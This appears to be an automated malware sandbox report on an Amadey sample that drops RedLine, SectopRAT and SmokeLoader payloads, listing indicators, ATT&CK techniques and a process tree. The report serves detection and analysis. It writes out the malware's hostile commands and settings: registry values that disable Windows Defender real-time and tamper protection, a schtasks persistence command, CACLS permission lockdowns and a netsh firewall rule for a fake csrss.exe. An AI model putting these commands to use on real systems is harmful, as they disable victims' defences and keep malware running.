amadey | 104dc4128f7c0cfad00e75e00a1efb3387e6bf28c0f7dc37c112fc4a302eed23

Windows Service

Disable or Modify Tools

T1562.001

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	E084.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableBehaviorMonitoring = "1"	E084.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableIOAVProtection = "1"	E084.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableOnAccessProtection = "1"	E084.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1"	E084.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableScanOnRealtimeEnable = "1"	E084.exe

RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
infostealer redline

RedLine payload 12 IoCs

resource	yara_rule
behavioral1/memory/2840-190-0x0000000000270000-0x00000000002CA000-memory.dmp	family_redline
behavioral1/files/0x0006000000019392-207.dat	family_redline
behavioral1/memory/2448-213-0x0000000000A50000-0x0000000000A6E000-memory.dmp	family_redline
behavioral1/files/0x0006000000019392-212.dat	family_redline
behavioral1/memory/2044-281-0x0000000000080000-0x00000000000BE000-memory.dmp	family_redline
behavioral1/memory/1832-275-0x00000000009F0000-0x0000000000B48000-memory.dmp	family_redline
behavioral1/memory/2044-293-0x0000000000080000-0x00000000000BE000-memory.dmp	family_redline
behavioral1/memory/2044-294-0x0000000000080000-0x00000000000BE000-memory.dmp	family_redline
behavioral1/memory/1832-295-0x00000000009F0000-0x0000000000B48000-memory.dmp	family_redline
behavioral1/memory/832-369-0x0000000000470000-0x00000000004CA000-memory.dmp	family_redline
behavioral1/memory/2428-432-0x00000000006D0000-0x000000000072A000-memory.dmp	family_redline
behavioral1/memory/2588-456-0x00000000003F0000-0x000000000044A000-memory.dmp	family_redline

SectopRAT
SectopRAT is a remote access trojan first seen in November 2019.
trojan rat sectoprat

SectopRAT payload 3 IoCs

resource	yara_rule
behavioral1/files/0x0006000000019392-207.dat	family_sectoprat
behavioral1/memory/2448-213-0x0000000000A50000-0x0000000000A6E000-memory.dmp	family_sectoprat
behavioral1/files/0x0006000000019392-212.dat	family_sectoprat

SmokeLoader
Modular backdoor trojan in use since 2014.
trojan backdoor smokeloader

Modifies boot configuration data using bcdedit 14 IoCs

pid	Process
1684	bcdedit.exe
2480	bcdedit.exe
912	bcdedit.exe
2072	bcdedit.exe
1732	bcdedit.exe
1460	bcdedit.exe
2812	bcdedit.exe
1476	bcdedit.exe
2684	bcdedit.exe
2744	bcdedit.exe
2652	bcdedit.exe
1800	bcdedit.exe
1896	bcdedit.exe
1948	bcdedit.exe

Downloads MZ/PE file

Modifies Windows Firewall 1 TTPs 1 IoCs

evasion

Windows Service

pid	Process
1916	netsh.exe

Possible attempt to disable PatchGuard 2 TTPs
Rootkits can use kernel patching to embed themselves in an operating system.
evasion

Impair Defenses
T1562

Command and Scripting Interpreter
T1059
Stops running service(s) 3 TTPs
evasion

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

Executes dropped EXE 26 IoCs

pid	Process
2596	D6BF.exe
2672	D894.exe
2604	D951.bat
2240	YN9EO3jL.exe
2932	oL8fB0dk.exe
1844	DB93.exe
268	yA9uh3VP.exe
1200	Qb9Qp1Zl.exe
2900	1Ia15sl3.exe
1636	E084.exe
1952	EA06.exe
1960	explothe.exe
1604	1922.exe
2840	1CEA.exe
2972	2303.exe
2448	25B3.exe
2732	toolspub2.exe
920	31839b57a4f11171d6abc8bbc4451ee4.exe
1624	schtasks.exe
1832	3434.exe
2140	set16.exe
1800	bcdedit.exe
432	kos.exe
1996	is-741G0.tmp
2816	previewer.exe
832	56A3.exe

Loads dropped DLL 47 IoCs

pid	Process
2596	D6BF.exe
2596	D6BF.exe
2240	YN9EO3jL.exe
2240	YN9EO3jL.exe
2932	oL8fB0dk.exe
2932	oL8fB0dk.exe
268	yA9uh3VP.exe
268	yA9uh3VP.exe
1200	Qb9Qp1Zl.exe
1200	Qb9Qp1Zl.exe
1200	Qb9Qp1Zl.exe
2900	1Ia15sl3.exe
1908	WerFault.exe
1908	WerFault.exe
1908	WerFault.exe
1908	WerFault.exe
2312	WerFault.exe
2312	WerFault.exe
2312	WerFault.exe
1952	EA06.exe
2312	WerFault.exe
2376	WerFault.exe
2376	WerFault.exe
2376	WerFault.exe
2376	WerFault.exe
2928	WerFault.exe
2928	WerFault.exe
1604	1922.exe
1604	1922.exe
1604	1922.exe
1604	1922.exe
1604	1922.exe
1624	schtasks.exe
1604	1922.exe
2140	set16.exe
2140	set16.exe
2140	set16.exe
2928	WerFault.exe
1624	schtasks.exe
2140	set16.exe
1996	is-741G0.tmp
1996	is-741G0.tmp
1996	is-741G0.tmp
1996	is-741G0.tmp
1996	is-741G0.tmp
2816	previewer.exe
2816	previewer.exe

Uses the VBS compiler for execution 1 TTPs

Scripting
T1064

Windows security modification 2 TTPs 2 IoCs

evasion trojan

Disable or Modify Tools

T1562.001

Modify Registry

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Features	E084.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Features\TamperProtection = "0"	E084.exe

Adds Run key to start application 2 TTPs 5 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup0 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP000.TMP\\\""	D6BF.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup1 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP001.TMP\\\""	YN9EO3jL.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup2 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP002.TMP\\\""	oL8fB0dk.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup3 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP003.TMP\\\""	yA9uh3VP.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup4 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP004.TMP\\\""	Qb9Qp1Zl.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012
Legitimate hosting services abused for malware hosting/C2 1 TTPs

Web Service
T1102

Suspicious use of SetThreadContext 2 IoCs

description	pid	Process	procid_target
PID 2832 set thread context of 1884	2832	104dc4128f7c0cfad00e75e00a1efb3387e6bf28c0f7dc37c112fc4a302eed23.exe	29
PID 1832 set thread context of 2044	1832	3434.exe	81

Drops file in Program Files directory 7 IoCs

description	ioc	Process
File created	C:\Program Files (x86)\PA Previewer\is-8LVCT.tmp	is-741G0.tmp
File opened for modification	C:\Program Files (x86)\PA Previewer\unins000.dat	is-741G0.tmp
File opened for modification	C:\Program Files (x86)\PA Previewer\previewer.exe	is-741G0.tmp
File created	C:\Program Files (x86)\PA Previewer\unins000.dat	is-741G0.tmp
File created	C:\Program Files (x86)\PA Previewer\is-CG3M8.tmp	is-741G0.tmp
File created	C:\Program Files (x86)\PA Previewer\is-OE9E8.tmp	is-741G0.tmp
File created	C:\Program Files (x86)\PA Previewer\is-2R6AG.tmp	is-741G0.tmp

Launches sc.exe 11 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
2344	sc.exe
2268	sc.exe
916	sc.exe
2500	sc.exe
2364	sc.exe
2484	sc.exe
1992	sc.exe
2116	sc.exe
1344	sc.exe
2564	sc.exe
1140	sc.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Program crash 7 IoCs

pid	pid_target	Process	procid_target
2544	2832	WerFault.exe	25
1908	2672	WerFault.exe	32
2312	1844	WerFault.exe	38
2376	2900	WerFault.exe	41
2928	2972	WerFault.exe	68
2280	832	WerFault.exe	87
1988	2428	WerFault.exe	91

Checks SCSI registry key(s) 3 TTPs 3 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	AppLaunch.exe
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	AppLaunch.exe
Key enumerated	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	AppLaunch.exe

Creates scheduled task(s) 1 TTPs 5 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

pid	Process
1996	schtasks.exe
3028	schtasks.exe
1624	schtasks.exe
2044	schtasks.exe
2788	schtasks.exe

Modifies Internet Explorer settings 1 TTPs 26 IoCs

adware spyware

Modify Registry

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-86725733-3001458681-3405935542-1000\Software\Microsoft\Internet Explorer\LowRegistry\DontShowMeThisDialogAgain	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-86725733-3001458681-3405935542-1000\Software\Microsoft\Internet Explorer\PageSetup	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-86725733-3001458681-3405935542-1000\Software\Microsoft\Internet Explorer\Toolbar	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-86725733-3001458681-3405935542-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-86725733-3001458681-3405935542-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-86725733-3001458681-3405935542-1000\Software\Microsoft\Internet Explorer\IETld\LowMic	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-86725733-3001458681-3405935542-1000\Software\Microsoft\Internet Explorer\IntelliForms	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-86725733-3001458681-3405935542-1000\Software\Microsoft\Internet Explorer\LowRegistry\DOMStorage	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-86725733-3001458681-3405935542-1000\Software\Microsoft\Internet Explorer\Main\FullScreen = "no"	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-86725733-3001458681-3405935542-1000\Software\Microsoft\Internet Explorer\Main\Window_Placement = 2c0000000200000003000000ffffffffffffffffffffffffffffffff2400000024000000aa04000089020000	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-86725733-3001458681-3405935542-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-86725733-3001458681-3405935542-1000\Software\Microsoft\Internet Explorer\Zoom	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-86725733-3001458681-3405935542-1000\Software\Microsoft\Internet Explorer\Main\CompatibilityFlags = "0"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-86725733-3001458681-3405935542-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive\{35E41601-6840-11EE-AFAD-C6004B6B9118} = "0"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-86725733-3001458681-3405935542-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-86725733-3001458681-3405935542-1000\Software\Microsoft\Internet Explorer\GPU	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-86725733-3001458681-3405935542-1000\Software\Microsoft\Internet Explorer\InternetRegistry	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-86725733-3001458681-3405935542-1000\Software\Microsoft\Internet Explorer\LowRegistry	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-86725733-3001458681-3405935542-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery\AdminActive = "1"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-86725733-3001458681-3405935542-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery\AdminActive = "0"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-86725733-3001458681-3405935542-1000\Software\Microsoft\Internet Explorer\Main	IEXPLORE.EXE
Key created	\REGISTRY\USER\S-1-5-21-86725733-3001458681-3405935542-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch	IEXPLORE.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-86725733-3001458681-3405935542-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running"	IEXPLORE.EXE
Key created	\REGISTRY\USER\S-1-5-21-86725733-3001458681-3405935542-1000\Software\Microsoft\Internet Explorer\Main	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-86725733-3001458681-3405935542-1000\Software\Microsoft\Internet Explorer\BrowserEmulation\LowMic	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-86725733-3001458681-3405935542-1000\Software\Microsoft\Internet Explorer\Toolbar\WebBrowser	iexplore.exe

Runs net.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
1884	AppLaunch.exe
1884	AppLaunch.exe
1372	Process not Found
1372	Process not Found
1372	Process not Found
1372	Process not Found
1372	Process not Found
1372	Process not Found
1372	Process not Found
1372	Process not Found
1372	Process not Found
1372	Process not Found
1372	Process not Found
1372	Process not Found
1372	Process not Found
1372	Process not Found
1372	Process not Found
1372	Process not Found
1372	Process not Found
1372	Process not Found
1372	Process not Found
1372	Process not Found
1372	Process not Found
1372	Process not Found
1372	Process not Found
1372	Process not Found
1372	Process not Found
1372	Process not Found
1372	Process not Found
1372	Process not Found
1372	Process not Found
1372	Process not Found
1372	Process not Found
1372	Process not Found
1372	Process not Found
1372	Process not Found
1372	Process not Found
1372	Process not Found
1372	Process not Found
1372	Process not Found
1372	Process not Found
1372	Process not Found
1372	Process not Found
1372	Process not Found
1372	Process not Found
1372	Process not Found
1372	Process not Found
1372	Process not Found
1372	Process not Found
1372	Process not Found
1372	Process not Found
1372	Process not Found
1372	Process not Found
1372	Process not Found
1372	Process not Found
1372	Process not Found
1372	Process not Found
1372	Process not Found
1372	Process not Found
1372	Process not Found
1372	Process not Found
1372	Process not Found
1372	Process not Found
1372	Process not Found

Suspicious behavior: MapViewOfSection 1 IoCs

pid	Process
1884	AppLaunch.exe

Suspicious use of AdjustPrivilegeToken 21 IoCs

description	pid	Process
Token: SeShutdownPrivilege	1372	Process not Found
Token: SeShutdownPrivilege	1372	Process not Found
Token: SeShutdownPrivilege	1372	Process not Found
Token: SeShutdownPrivilege	1372	Process not Found
Token: SeShutdownPrivilege	1372	Process not Found
Token: SeShutdownPrivilege	1372	Process not Found
Token: SeShutdownPrivilege	1372	Process not Found
Token: SeShutdownPrivilege	1372	Process not Found
Token: SeShutdownPrivilege	1372	Process not Found
Token: SeShutdownPrivilege	1372	Process not Found
Token: SeDebugPrivilege	2448	25B3.exe
Token: SeShutdownPrivilege	1372	Process not Found
Token: SeShutdownPrivilege	1372	Process not Found
Token: SeDebugPrivilege	1636	E084.exe
Token: SeShutdownPrivilege	1372	Process not Found
Token: SeShutdownPrivilege	1372	Process not Found
Token: SeShutdownPrivilege	1372	Process not Found
Token: SeShutdownPrivilege	1372	Process not Found
Token: SeDebugPrivilege	2816	previewer.exe
Token: SeShutdownPrivilege	1372	Process not Found
Token: SeShutdownPrivilege	1372	Process not Found

Suspicious use of FindShellTrayWindow 3 IoCs

pid	Process
1712	iexplore.exe
1372	Process not Found
1372	Process not Found

Suspicious use of SendNotifyMessage 2 IoCs

pid	Process
1372	Process not Found
1372	Process not Found

Suspicious use of SetWindowsHookEx 4 IoCs

pid	Process
1712	iexplore.exe
1712	iexplore.exe
3068	IEXPLORE.EXE
3068	IEXPLORE.EXE

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2832 wrote to memory of 1884	2832	104dc4128f7c0cfad00e75e00a1efb3387e6bf28c0f7dc37c112fc4a302eed23.exe	29
PID 2832 wrote to memory of 1884	2832	104dc4128f7c0cfad00e75e00a1efb3387e6bf28c0f7dc37c112fc4a302eed23.exe	29
PID 2832 wrote to memory of 1884	2832	104dc4128f7c0cfad00e75e00a1efb3387e6bf28c0f7dc37c112fc4a302eed23.exe	29
PID 2832 wrote to memory of 1884	2832	104dc4128f7c0cfad00e75e00a1efb3387e6bf28c0f7dc37c112fc4a302eed23.exe	29
PID 2832 wrote to memory of 1884	2832	104dc4128f7c0cfad00e75e00a1efb3387e6bf28c0f7dc37c112fc4a302eed23.exe	29
PID 2832 wrote to memory of 1884	2832	104dc4128f7c0cfad00e75e00a1efb3387e6bf28c0f7dc37c112fc4a302eed23.exe	29
PID 2832 wrote to memory of 1884	2832	104dc4128f7c0cfad00e75e00a1efb3387e6bf28c0f7dc37c112fc4a302eed23.exe	29
PID 2832 wrote to memory of 1884	2832	104dc4128f7c0cfad00e75e00a1efb3387e6bf28c0f7dc37c112fc4a302eed23.exe	29
PID 2832 wrote to memory of 1884	2832	104dc4128f7c0cfad00e75e00a1efb3387e6bf28c0f7dc37c112fc4a302eed23.exe	29
PID 2832 wrote to memory of 1884	2832	104dc4128f7c0cfad00e75e00a1efb3387e6bf28c0f7dc37c112fc4a302eed23.exe	29
PID 2832 wrote to memory of 2544	2832	104dc4128f7c0cfad00e75e00a1efb3387e6bf28c0f7dc37c112fc4a302eed23.exe	30
PID 2832 wrote to memory of 2544	2832	104dc4128f7c0cfad00e75e00a1efb3387e6bf28c0f7dc37c112fc4a302eed23.exe	30
PID 2832 wrote to memory of 2544	2832	104dc4128f7c0cfad00e75e00a1efb3387e6bf28c0f7dc37c112fc4a302eed23.exe	30
PID 2832 wrote to memory of 2544	2832	104dc4128f7c0cfad00e75e00a1efb3387e6bf28c0f7dc37c112fc4a302eed23.exe	30
PID 1372 wrote to memory of 2596	1372	Process not Found	31
PID 1372 wrote to memory of 2596	1372	Process not Found	31
PID 1372 wrote to memory of 2596	1372	Process not Found	31
PID 1372 wrote to memory of 2596	1372	Process not Found	31
PID 1372 wrote to memory of 2596	1372	Process not Found	31
PID 1372 wrote to memory of 2596	1372	Process not Found	31
PID 1372 wrote to memory of 2596	1372	Process not Found	31
PID 1372 wrote to memory of 2672	1372	Process not Found	32
PID 1372 wrote to memory of 2672	1372	Process not Found	32
PID 1372 wrote to memory of 2672	1372	Process not Found	32
PID 1372 wrote to memory of 2672	1372	Process not Found	32
PID 1372 wrote to memory of 2604	1372	Process not Found	34
PID 1372 wrote to memory of 2604	1372	Process not Found	34
PID 1372 wrote to memory of 2604	1372	Process not Found	34
PID 1372 wrote to memory of 2604	1372	Process not Found	34
PID 2596 wrote to memory of 2240	2596	D6BF.exe	33
PID 2596 wrote to memory of 2240	2596	D6BF.exe	33
PID 2596 wrote to memory of 2240	2596	D6BF.exe	33
PID 2596 wrote to memory of 2240	2596	D6BF.exe	33
PID 2596 wrote to memory of 2240	2596	D6BF.exe	33
PID 2596 wrote to memory of 2240	2596	D6BF.exe	33
PID 2596 wrote to memory of 2240	2596	D6BF.exe	33
PID 2240 wrote to memory of 2932	2240	YN9EO3jL.exe	35
PID 2240 wrote to memory of 2932	2240	YN9EO3jL.exe	35
PID 2240 wrote to memory of 2932	2240	YN9EO3jL.exe	35
PID 2240 wrote to memory of 2932	2240	YN9EO3jL.exe	35
PID 2240 wrote to memory of 2932	2240	YN9EO3jL.exe	35
PID 2240 wrote to memory of 2932	2240	YN9EO3jL.exe	35
PID 2240 wrote to memory of 2932	2240	YN9EO3jL.exe	35
PID 2604 wrote to memory of 524	2604	D951.bat	36
PID 2604 wrote to memory of 524	2604	D951.bat	36
PID 2604 wrote to memory of 524	2604	D951.bat	36
PID 2604 wrote to memory of 524	2604	D951.bat	36
PID 1372 wrote to memory of 1844	1372	Process not Found	38
PID 1372 wrote to memory of 1844	1372	Process not Found	38
PID 1372 wrote to memory of 1844	1372	Process not Found	38
PID 1372 wrote to memory of 1844	1372	Process not Found	38
PID 2932 wrote to memory of 268	2932	oL8fB0dk.exe	37
PID 2932 wrote to memory of 268	2932	oL8fB0dk.exe	37
PID 2932 wrote to memory of 268	2932	oL8fB0dk.exe	37
PID 2932 wrote to memory of 268	2932	oL8fB0dk.exe	37
PID 2932 wrote to memory of 268	2932	oL8fB0dk.exe	37
PID 2932 wrote to memory of 268	2932	oL8fB0dk.exe	37
PID 2932 wrote to memory of 268	2932	oL8fB0dk.exe	37
PID 268 wrote to memory of 1200	268	yA9uh3VP.exe	40
PID 268 wrote to memory of 1200	268	yA9uh3VP.exe	40
PID 268 wrote to memory of 1200	268	yA9uh3VP.exe	40
PID 268 wrote to memory of 1200	268	yA9uh3VP.exe	40
PID 268 wrote to memory of 1200	268	yA9uh3VP.exe	40
PID 268 wrote to memory of 1200	268	yA9uh3VP.exe	40

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\104dc4128f7c0cfad00e75e00a1efb3387e6bf28c0f7dc37c112fc4a302eed23.exe
"C:\Users\Admin\AppData\Local\Temp\104dc4128f7c0cfad00e75e00a1efb3387e6bf28c0f7dc37c112fc4a302eed23.exe"
1⤵
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
PID:2832
- C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
  "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"
  2⤵
  - DcRat
  - Checks SCSI registry key(s)
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious behavior: MapViewOfSection
  PID:1884
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -u -p 2832 -s 92
  2⤵
  - Program crash
  PID:2544

C:\Users\Admin\AppData\Local\Temp\D6BF.exe
C:\Users\Admin\AppData\Local\Temp\D6BF.exe
1⤵
- Executes dropped EXE
- Loads dropped DLL
- Adds Run key to start application
- Suspicious use of WriteProcessMemory
PID:2596
- C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\YN9EO3jL.exe
  C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\YN9EO3jL.exe
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  - Adds Run key to start application
  - Suspicious use of WriteProcessMemory
  PID:2240
- - C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\oL8fB0dk.exe
    C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\oL8fB0dk.exe
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    - Adds Run key to start application
    - Suspicious use of WriteProcessMemory
    PID:2932
  - - C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\yA9uh3VP.exe
      C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\yA9uh3VP.exe
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      Adds Run key to start application
      Suspicious use of WriteProcessMemory
      PID:268
    - - C:\Users\Admin\AppData\Local\Temp\IXP003.TMP\Qb9Qp1Zl.exe
        
        C:\Users\Admin\AppData\Local\Temp\IXP003.TMP\Qb9Qp1Zl.exe
        5⤵
        Executes dropped EXE
        Loads dropped DLL
        Adds Run key to start application
        
        PID:1200
      - C:\Users\Admin\AppData\Local\Temp\IXP004.TMP\1Ia15sl3.exe
        
        C:\Users\Admin\AppData\Local\Temp\IXP004.TMP\1Ia15sl3.exe
        6⤵
        Executes dropped EXE
        Loads dropped DLL
        
        PID:2900
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 2900 -s 268
        7⤵
        Loads dropped DLL
        Program crash
        
        PID:2376

C:\Users\Admin\AppData\Local\Temp\D894.exe
C:\Users\Admin\AppData\Local\Temp\D894.exe
1⤵
- Executes dropped EXE
PID:2672
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -u -p 2672 -s 68
  2⤵
  - Loads dropped DLL
  - Program crash
  PID:1908

C:\Users\Admin\AppData\Local\Temp\D951.bat
"C:\Users\Admin\AppData\Local\Temp\D951.bat"
1⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:2604
- C:\Windows\system32\cmd.exe
  "C:\Windows\sysnative\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\D9EB.tmp\D9EC.tmp\D9ED.bat C:\Users\Admin\AppData\Local\Temp\D951.bat"
  2⤵
  PID:524
- - C:\Program Files\Internet Explorer\iexplore.exe
    "C:\Program Files\Internet Explorer\iexplore.exe" https://accounts.google.com/
    3⤵
    - Modifies Internet Explorer settings
    - Suspicious use of FindShellTrayWindow
    - Suspicious use of SetWindowsHookEx
    PID:1712
  - - C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
      "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:1712 CREDAT:275457 /prefetch:2
      4⤵
      Modifies Internet Explorer settings
      Suspicious use of SetWindowsHookEx
      PID:3068

C:\Users\Admin\AppData\Local\Temp\DB93.exe
C:\Users\Admin\AppData\Local\Temp\DB93.exe
1⤵
- Executes dropped EXE
PID:1844
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -u -p 1844 -s 68
  2⤵
  - Loads dropped DLL
  - Program crash
  PID:2312

C:\Users\Admin\AppData\Local\Temp\E084.exe
C:\Users\Admin\AppData\Local\Temp\E084.exe
1⤵
- Modifies Windows Defender Real-time Protection settings
- Executes dropped EXE
- Windows security modification
- Suspicious use of AdjustPrivilegeToken
PID:1636

C:\Users\Admin\AppData\Local\Temp\EA06.exe
C:\Users\Admin\AppData\Local\Temp\EA06.exe
1⤵
- Executes dropped EXE
- Loads dropped DLL
PID:1952
- C:\Users\Admin\AppData\Local\Temp\fefffe8cea\explothe.exe
  "C:\Users\Admin\AppData\Local\Temp\fefffe8cea\explothe.exe"
  2⤵
  - Executes dropped EXE
  PID:1960
- - C:\Windows\SysWOW64\schtasks.exe
    "C:\Windows\System32\schtasks.exe" /Create /SC MINUTE /MO 1 /TN explothe.exe /TR "C:\Users\Admin\AppData\Local\Temp\fefffe8cea\explothe.exe" /F
    3⤵
    - DcRat
    - Creates scheduled task(s)
    PID:1996
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /k echo Y|CACLS "explothe.exe" /P "Admin:N"&&CACLS "explothe.exe" /P "Admin:R" /E&&echo Y|CACLS "..\fefffe8cea" /P "Admin:N"&&CACLS "..\fefffe8cea" /P "Admin:R" /E&&Exit
    3⤵
    PID:2980
  - - C:\Windows\SysWOW64\cacls.exe
      CACLS "explothe.exe" /P "Admin:N"
      4⤵
      PID:1808
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /S /D /c" echo Y"
      4⤵
      PID:2228
  - - C:\Windows\SysWOW64\cacls.exe
      CACLS "explothe.exe" /P "Admin:R" /E
      4⤵
      PID:1800
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /S /D /c" echo Y"
      4⤵
      PID:1660
  - - C:\Windows\SysWOW64\cacls.exe
      CACLS "..\fefffe8cea" /P "Admin:R" /E
      4⤵
      PID:964
  - - C:\Windows\SysWOW64\cacls.exe
      CACLS "..\fefffe8cea" /P "Admin:N"
      4⤵
      PID:1536
- - C:\Windows\SysWOW64\rundll32.exe
    "C:\Windows\System32\rundll32.exe" C:\Users\Admin\AppData\Roaming\006700e5a2ab05\clip64.dll, Main
    3⤵
    PID:3036

C:\Users\Admin\AppData\Local\Temp\1922.exe
C:\Users\Admin\AppData\Local\Temp\1922.exe
1⤵
- Executes dropped EXE
- Loads dropped DLL
PID:1604
- C:\Users\Admin\AppData\Local\Temp\toolspub2.exe
  "C:\Users\Admin\AppData\Local\Temp\toolspub2.exe"
  2⤵
  - Executes dropped EXE
  PID:2732
- C:\Users\Admin\AppData\Local\Temp\31839b57a4f11171d6abc8bbc4451ee4.exe
  "C:\Users\Admin\AppData\Local\Temp\31839b57a4f11171d6abc8bbc4451ee4.exe"
  2⤵
  - Executes dropped EXE
  PID:920
- - C:\Users\Admin\AppData\Local\Temp\31839b57a4f11171d6abc8bbc4451ee4.exe
    "C:\Users\Admin\AppData\Local\Temp\31839b57a4f11171d6abc8bbc4451ee4.exe"
    3⤵
    PID:3048
  - - C:\Windows\system32\cmd.exe
      C:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"
      4⤵
      PID:2264
